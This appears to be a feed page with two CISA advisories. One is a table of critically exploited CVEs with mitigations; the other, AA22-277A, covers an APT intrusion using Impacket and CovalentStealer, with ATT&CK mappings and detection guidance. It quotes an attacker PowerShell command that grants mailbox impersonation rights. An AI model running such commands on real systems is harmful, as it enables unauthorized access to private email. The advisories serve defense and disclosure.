(Critical) Vulnerability Description In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1. Recommended Mitigations  Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions.  Ensure Internet-facing servers are up-to-date and have secure compliance practices. Short term workaround is provided here. Detection Methods N/A Vulnerable Technologies and Versions All supported versions of Confluence Server and Data Center Confluence Server and Data Center versions after 1.3.0 Table VI: Microsoft CVE-2021-26855 Microsoft CVE-2021-26855                                                     CVSS 3.0: 9.8 (Critical) Vulnerability Description Microsoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor  who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity. Recommended Mitigations Apply the appropriate Microsoft Security Update. Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871) Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871) Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871) Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871) Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871) Restrict untrusted connections. Detection Methods Analyze Exchange product logs for evidence of exploitation. Scan for known webshells. Vulnerable Technologies and Versions Microsoft Exchange 2013, 2016, and 2019. Table VII: F5 CVE-2020-5902 F5 CVE-2020-5902 CVSS 3.0: 9.8 (Critical) Vulnerability Description In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. Recommended Mitigations Apply FY BIG-IP Update. Restrict access to the configuration utility. Detection Methods Use F5’s CVE-2020-5902 IoC Detection Tool. Additional detection methods can be found at https://support.f5.com/csp/article/K52145254. Vulnerable Technologies and Versions F5 Big-IP Access Policy Manager F5 Big-IP Advanced Firewall Manager F5 Big-IP Advanced Web Application Firewall F5 Big-IP Analytics F5 Big-IP Application Acceleration Manager F5 Big-IP Application Security Manager F5 Big-IP Ddos Hybrid Defender F5 Big-IP Domain Name System (DNS) F5 Big-IP Fraud Protection Service (FPS) F5 Big-IP Global Traffic Manager (GTM) F5 Big-IP Link Controller F5 Networks Big-IP Local Traffic Manager (LTM) F5 Big-IP Policy Enforcement Manager (PEM) F5 SSL Orchestrator References https://support.f5.com/csp/article/K00091341 https://support.f5.com/csp/article/K07051153 https://support.f5.com/csp/article/K20346072 https://support.f5.com/csp/article/K31301245 https://support.f5.com/csp/article/K33023560 https://support.f5.com/csp/article/K43638305 https://support.f5.com/csp/article/K52145254 https://support.f5.com/csp/article/K82518062 Table VIII: VMware CVE-2021-22005 VMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical) Vulnerability Description The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file. Recommended Mitigations Apply Vendor Updates. Detection Methods N/A Vulnerable Technologies and Versions VMware Cloud Foundation VMware VCenter Server Table IX: Citrix CVE-2019-19781 Citrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical) Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal. Recommended Mitigations Apply vendor mitigations. Use the CTX269180 - CVE-2019-19781 Verification Tool provided by Citrix. Detection Methods N/A Vulnerable Technologies and Versions Citrix ADC, Gateway, and SD-WAN WANOP Table X: Cisco CVE-2021-1497 Cisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical) Vulnerability Description Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory. Recommended Mitigations Apply Cisco software updates. Detection Methods Look at the Snort Rules provided by Cisco. Vulnerable Technologies and Versions Cisco Hyperflex Hx Data Platform 4.0(2A) Table XI: Buffalo CVE-2021-20090 Buffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical) Vulnerability Description A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication. Recommended Mitigations Update firmware to latest available version.   Detection Methods N/A Vulnerable Technologies and Versions Buffalo Wsr-2533Dhpl2-Bk Firmware Buffalo Wsr-2533Dhp3-Bk Firmware Table XII: Atlassian CVE-2021-26084 Atlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical) Vulnerability Description In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5. Recommended Mitigations Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0. Avoid using end-of-life devices. Use Intrusion Detection Systems (IDS). Detection Methods N/A Vulnerable Technologies and Versions Atlassian Confluence Atlassian Confluence Server Atlassian Data Center Atlassian Jira Data Center Table XIII: Hikvision CVE-2021-36260 Hikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical) Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands. Recommended Mitigations Apply the latest firmware updates. Detection Methods N/A Vulnerable Technologies and Versions Various Hikvision Firmware to include Ds, Ids, and Ptz References https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260   Table XIV: Sitecore CVE-2021-42237 Sitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical) Vulnerability Description Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability. Recommended Mitigations Update to latest version. Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx. Detection Methods N/A Vulnerable Technologies and Versions Sitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2 Sitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7 Sitecore Experience Platform 8.0 Service Pack 1 Sitecore Experience Platform 8.1, and  Update 1-Update 3 Sitecore Experience Platform 8.2, and Update 1-Update 7 Table XV: F5 CVE-2022-1388 F5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical) Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. Recommended Mitigations Block iControl REST access through the self IP address. Block iControl REST access through the management interface. Modify the BIG-IP httpd configuration. Detection Methods N/A Vulnerable Technologies and Versions Big IP versions: 16.1.0-16.1.2 15.1.0-15.1.5 14.1.0-14.1.4 13.1.0-13.1.4 12.1.0-12.1.6 11.6.1-11.6.5 Table XVI: Apache CVE-2022-24112 Apache CVE-2022-24112 CVSS 3.0: 9.8 (Critical) Vulnerability Description A malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed. Recommended Mitigations In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX. Update to 2.10.4 or 2.12.1. Detection Methods N/A Vulnerable Technologies and Versions Apache APISIX between 1.3 and 2.12.1 (excluding 2.12.1) LTS versions of Apache APISIX between 2.10.0 and 2.10.4 Table XVII: ZOHO CVE-2021-40539 ZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical) Vulnerability Description Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution. Recommended Mitigations Upgrade to latest version. Detection Methods Run ManageEngine’s detection tool. Check for specific files and logs. Vulnerable Technologies and Versions Zoho Corp ManageEngine ADSelfService Plus Table XVIII: Microsoft CVE-2021-26857 Microsoft CVE-2021-26857 CVSS 3.0: 7.8 (High) Vulnerability Description Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. Recommended Mitigations Update to support latest version. Install Microsoft security patch. Use Microsoft Exchange On-Premises Mitigation Tool. Detection Methods Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security. Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log. Vulnerable Technologies and Versions Microsoft Exchange Servers Table XIX: Microsoft CVE-2021-26858 Microsoft CVE-2021-26858 CVSS 3.0: 7.8 (High) Vulnerability Description Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. Recommended Mitigations Update to support latest version. Install Microsoft security patch. Use Microsoft Exchange On-Premises Mitigation Tool. Detection Methods Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security. Hashes can be found here:  https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log. Vulnerable Technologies and Versions Microsoft Exchange Servers Table XX: Microsoft CVE-2021-27065 Microsoft CVE-2021-27065 CVSS 3.0: 7.8 (High) Vulnerability Description Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. Recommended Mitigations Update to support latest version. Install Microsoft security patch. Use Microsoft Exchange On-Premises Mitigation Tool. Detection Methods Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security. Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log. Vulnerable Technologies and Versions Microsoft Exchange Servers References https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065 Table XXI: Apache CVE-2021-41773 Apache CVE-2021-41773 CVSS 3.0: 7.5 (High) Vulnerability Description This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied," these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013). Recommended Mitigations Apply update or patch. Detection Methods Commercially available scanners can detect CVE. Vulnerable Technologies and Versions Apache HTTP Server 2.4.49 and 2.4.50 Fedoraproject Fedora 34 and 35 Oracle Instantis Enterprise Track 17.1-17.3 Netapp Cloud Backup Revisions Initial Publication: October 6, 2022 This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-277A: Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization
    by CISA on 4 Ottobre 2022 at 5:58 pm

    Original release date: October 4, 2022 | Last revised: October 5, 2022SummaryActions to Help Protect Against APT Cyber Activity: • Enforce multifactor authentication (MFA) on all user accounts. • Implement network segmentation to separate network segments based on role and functionality. • Update software, including operating systems, applications, and firmware, on network assets. • Audit account usage. From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data. This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks. Download the PDF version of this report: pdf, 692 KB For a downloadable copy of IOCs, see the following files: Malware Analysis Report (MAR)-10365227-1.stix, 966 kb MAR-10365227-2.stix, 249B MAR-10365227-3.stix, 3.2 MB Technical DetailsThreat Actor Activity Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework. From November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted –third-party identified APT activity on the victim’s network. Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN). Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2\he\debug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used. During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system. In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA MAR-10365227-2 and -3. In April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information. APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials. Use of Impacket CISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py. These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network. The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization's multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange: powershell add-pssnapin *exchange*;New-ManagementRoleAssignment - name:"Journaling-Logs" -Role:ApplicationImpersonation -User:<account> This command gave the service account the ability to access other users’ mailboxes. The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247. Use of Custom Exfiltration Tool: CovalentStealer The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files. CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim's documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA MAR-10365227-1 for additional technical details, including IOCs and detection signatures. MITRE ATT&CK Tactics and Techniques MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors. Table 1: Identified APT Enterprise ATT&CK Tactics and Techniques Initial Access Technique Title ID Use Valid Accounts T1078 Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA. Execution Technique Title ID Use Windows Management Instrumentation T1047 Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands. Command and Scripting Interpreter T1059 Actors abused command and script interpreters to execute commands. Command and Scripting Interpreter: PowerShell T1059.001 Actors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information. Command and Scripting Interpreter: Windows Command Shell T1059.003 Actors abused the Windows Command Shell to learn about the organization’s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used. The actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell. Command and Scripting Interpreter: Python T1059.006 The actors used two Impacket tools: wmiexec.py and smbexec.py. Shared Modules T1129 Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. System Services T1569 Actors abused system services to execute commands or programs on the victim’s network. Persistence Technique Title ID Use Valid Accounts T1078 Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Create or Modify System Process T1543 Actors were observed creating or modifying system processes. Privilege Escalation Technique Title ID Use Valid Accounts T1078 Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA. Defense Evasion Technique Title ID Use Masquerading: Match Legitimate Name or Location T1036.005 Actors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation. Indicator Removal on Host T1070 Actors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses. Indicator Removal on Host: File Deletion T1070.004 Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards. Valid Accounts T1078 Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA. Virtualization/Sandbox Evasion: System Checks T1497.001 Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information. Impair Defenses: Disable or Modify Tools T1562.001 Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID. Hijack Execution Flow T1574 Actors were observed using hijack execution flow. Discovery Technique Title ID Use System Network Configuration Discovery T1016 Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine. The threat actor used route print to display the entries in the local IP routing table. System Network Configuration Discovery: Internet Connection Discovery T1016.001 Actors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways. System Owner/User Discovery T1033 Actors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system. System Network Connections Discovery T1049 Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP. Process Discovery T1057 Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine. The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers.” System Information Discovery T1082 Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine. File and Directory Discovery T1083 Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system. Virtualization/Sandbox Evasion: System Checks T1497.001 Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. Lateral Movement Technique Title ID Use Remote Services: SMB/Windows Admin Shares T1021.002 Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user. Collection Technique Title ID Use Archive Collected Data: Archive via Utility T1560.001 Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration. Data from Network Shared Drive T1039 Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest. The actors used dir.exe to display a list of a directory's files and subdirectories matching a certain text string. Data Staged: Remote Data Staging T1074.002 The actors split collected files into approximately 3 MB chunks located on the Exchange server within the CU2\he\debug directory. Command and Control Technique Title ID Use Non-Application Layer Protocol T1095 Actors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network. Ingress Tool Transfer T1105 Actors used the certutil command with three switches to test if they could download files from the internet. The actors employed CovalentStealer to exfiltrate the files. Proxy T1090 Actors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely. Exfiltration Technique Title ID Use Schedule Transfer T1029 Actors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity. Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 The actor's CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder. DETECTION Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to: Monitor logs for connections from unusual VPSs and VPNs. Examine connection logs for access from unexpected ranges, particularly from machines hosted by SurfShark and M247. Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). To detect use of compromised credentials in combination with a VPS, follow the steps below: Review logs for "impossible logins," such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location. Search for "impossible travel," which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). Note: This detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks. Search for one IP used across multiple accounts, excluding expected logins. Take note of any M247-associated IP addresses used along with VPN providers (e.g., SurfShark). Look for successful remote logins (e.g., VPN, OWA) for IPs coming from M247- or using SurfShark-registered IP addresses. Identify suspicious privileged account use after resetting passwords or applying user account mitigations. Search for unusual activity in typically dormant accounts. Search for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity. Review the YARA rules provided in MAR-10365227-1 to assist in determining whether malicious activity has been observed. Monitor for the installation of unauthorized software, including Remote Server Administration Tools (e.g., psexec, RdClient, VNC, and ScreenConnect). Monitor for anomalous and known malicious command-line use. See Appendix: Windows Command Shell Activity for commands used by the actors to interact with the victim’s environment. Monitor for unauthorized changes to user accounts (e.g., creation, permission changes, and enabling a previously disabled account). CONTAINMENT AND REMEDIATION Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry: Report the incident. Report the incident to U.S. Government authorities and follow your organization’s incident response plan. Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). Report incidents to your local FBI field office at fbi.gov/contact-us/field-offices or to FBI’s 24/7 Cyber Watch (CyWatch) via (855) 292-3937 or CyWatch@fbi.gov. For DIB incident reporting, contact the Defense Cyber Crime Center (DC3) via DIBNET at dibnet.dod.mil/portal/intranet or (410) 981 0104. Reset all login accounts. Reset all accounts used for authentication since it is possible that the threat actors have additional stolen credentials. Password resets should also include accounts outside of Microsoft Active Directory, such as network infrastructure devices and other non-domain joined devices (e.g., IoT devices). Monitor SIEM logs and build detections. Create signatures based on the threat actor TTPs and use these signatures to monitor security logs for any signs of threat actor re-entry. Enforce MFA on all user accounts. Enforce phishing-resistant MFA on all accounts without exception to the greatest extent possible. Follow Microsoft’s security guidance for Active Directory—Best Practices for Securing Active Directory. Audit accounts and permissions. Audit all accounts to ensure all unused accounts are disabled or removed and active accounts do not have excessive privileges. Monitor SIEM logs for any changes to accounts, such as permission changes or enabling a previously disabled account, as this might indicate a threat actor using these accounts. Harden and monitor PowerShell by reviewing guidance in the joint Cybersecurity Information Sheet—Keeping PowerShell: Security Measures to Use and Embrace. MitigationsMitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture. Segment Networks Based on Function Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for ransomware and other threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Infographic on Layering Network Security Through Segmentation and NSA’s Segment Networks and Deploy Application-Aware Defenses.) Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt Zero Trust (ZT) principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration. Manage Vulnerabilities and Configurations Update software, including operating systems, applications, and firmware, on network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. Implement a configuration change control process that securely creates device configuration backups to detect unauthorized modifications. When a configuration change is needed, document the change, and include the authorization, purpose, and mission justification. Periodically verify that modifications have not been applied by comparing current device configurations with the most recent backups. If suspicious changes are observed, verify the change was authorized. Search for Anomalous Behavior Use cybersecurity visibility and analytics tools to improve detection of anomalous behavior and enable dynamic changes to policy and other response actions. Visibility tools include network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. Monitor the use of scripting languages (e.g., Python, Powershell) by authorized and unauthorized users. Anomalous use by either group may be indicative of malicious activity, intentional or otherwise. Restrict and Secure Use of Remote Admin Tools Limit the number of remote access tools as well as who and what can be accessed using them. Reducing the number of remote admin tools and their allowed access will increase visibility of unauthorized use of these tools. Use encrypted services to protect network communications and disable all clear text administration services(e.g., Telnet, HTTP, FTP, SNMP 1/2c). This ensures that sensitive information cannot be easily obtained by a threat actor capturing network traffic. Implement a Mandatory Access Control Model Implement stringent access controls to sensitive data and resources. Access should be restricted to those users who require access and to the minimal level of access needed. Audit Account Usage Monitor VPN logins to look for suspicious access (e.g., logins from unusual geo locations, remote logins from accounts not normally used for remote access, concurrent logins for the same account from different locations, unusual times of the day). Closely monitor the use of administrative accounts. Admin accounts should be used sparingly and only when necessary, such as installing new software or patches. Any use of admin accounts should be reviewed to determine if the activity is legitimate. Ensure standard user accounts do not have elevated privileges Any attempt to increase permissions on standard user accounts should be investigated as a potential compromise. VALIDATE SECURITY CONTROLS In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization's security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Table 1). Align your security technologies against the technique. Test your technologies against the technique. Analyze the performance of your detection and prevention technologies. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. CISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. RESOURCES CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services. U.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email dib_defense@cyber.nsa.gov. ACKNOWLEDGEMENTS CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA. APPENDIX: WINDOWS COMMAND SHELL ACTIVITY Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. When interacting with the victim’s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed. On the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization’s environment and to collect sensitive data for eventual exfiltration (see Table 2). Table 2: Windows Command Shell Activity (Day 1) Command Description / Use net share Used to create, configure, and delete network shares from the command-line.[1] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit. powershell dir An alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[2] The threat actor added additional switches (aka options, parameters, or flags) to 